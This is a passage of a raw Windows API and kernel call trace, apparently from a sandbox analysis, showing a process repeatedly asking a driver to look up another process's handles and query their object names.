Object=0xfffff88005590548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0113.387] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.387] PsReleaseProcessExitSynchronization () returned 0x2 [0113.387] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.387] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.387] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0113.387] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.388] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.388] PsAcquireProcessExitSynchronization () returned 0x0 [0113.388] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.388] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0113.388] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.388] PsReleaseProcessExitSynchronization () returned 0x2 [0113.388] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.388] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.388] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0113.388] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.388] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.388] PsAcquireProcessExitSynchronization () returned 0x0 [0113.388] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.388] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0113.388] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.388] PsReleaseProcessExitSynchronization () returned 0x2 [0113.388] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.388] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.388] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0113.388] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.388] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.388] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.388] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.389] PsAcquireProcessExitSynchronization () returned 0x0 [0113.389] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.389] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003305ac0, HandleInformation=0x0) returned 0x0 [0113.389] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.389] PsReleaseProcessExitSynchronization () returned 0x2 [0113.389] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.389] ObQueryNameString (in: Object=0xfffffa8003305ac0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.389] ObfDereferenceObject (Object=0xfffffa8003305ac0) returned 0x2 [0113.389] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.389] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.389] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.389] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.389] PsAcquireProcessExitSynchronization () returned 0x0 [0113.389] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.389] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0113.389] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.389] PsReleaseProcessExitSynchronization () returned 0x2 [0113.389] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.389] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.389] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0113.389] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.389] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.389] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.389] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.389] PsAcquireProcessExitSynchronization () returned 0x0 [0113.389] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.389] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0113.389] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.390] PsReleaseProcessExitSynchronization () returned 0x2 [0113.390] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.390] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.390] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0113.390] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.390] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.390] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.390] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.390] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.390] PsAcquireProcessExitSynchronization () returned 0x0 [0113.390] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.390] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0113.390] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.390] PsReleaseProcessExitSynchronization () returned 0x2 [0113.390] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.390] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.390] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0113.390] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.390] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.390] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.390] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.390] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.390] PsAcquireProcessExitSynchronization () returned 0x0 [0113.390] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.390] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0113.390] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.390] PsReleaseProcessExitSynchronization () returned 0x2 [0113.390] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.390] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.391] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0113.391] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.391] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.391] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.391] PsAcquireProcessExitSynchronization () returned 0x0 [0113.391] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.391] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.391] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.391] PsReleaseProcessExitSynchronization () returned 0x2 [0113.391] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.391] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.391] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.391] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.391] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.391] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.391] PsAcquireProcessExitSynchronization () returned 0x0 [0113.391] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.391] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.391] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.391] PsReleaseProcessExitSynchronization () returned 0x2 [0113.391] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.391] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.391] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.391] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.391] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.391] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.391] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.391] PsAcquireProcessExitSynchronization () returned 0x0 [0113.391] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.392] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0113.392] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.392] PsReleaseProcessExitSynchronization () returned 0x2 [0113.392] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.392] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.392] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0113.392] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.392] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.392] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.392] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.392] PsAcquireProcessExitSynchronization () returned 0x0 [0113.392] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.392] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0113.392] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.392] PsReleaseProcessExitSynchronization () returned 0x2 [0113.392] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.392] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.392] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0113.392] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.392] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.392] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0113.392] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.392] PsAcquireProcessExitSynchronization () returned 0x0 [0113.392] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.392] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0113.392] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.392] PsReleaseProcessExitSynchronization () returned 0x2 [0113.392] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.392] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.393] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0113.393] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.393] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.393] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.393] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0113.393] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.393] PsAcquireProcessExitSynchronization () returned 0x0 [0113.393] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.393] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0113.393] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.393] PsReleaseProcessExitSynchronization () returned 0x2 [0113.393] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.393] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.393] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0113.393] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.393] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.393] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.393] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.393] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.393] PsAcquireProcessExitSynchronization () returned 0x0 [0113.393] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.393] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0113.393] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.393] PsReleaseProcessExitSynchronization () returned 0x2 [0113.393] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.393] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.393] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0113.393] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.393] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.393] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0113.394] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.394] PsAcquireProcessExitSynchronization () returned 0x0 [0113.394] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.394] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0113.394] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.394] PsReleaseProcessExitSynchronization () returned 0x2 [0113.394] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.394] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.394] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0113.394] IofCompleteRequest (Irp=0xfffffa800211c1b0, 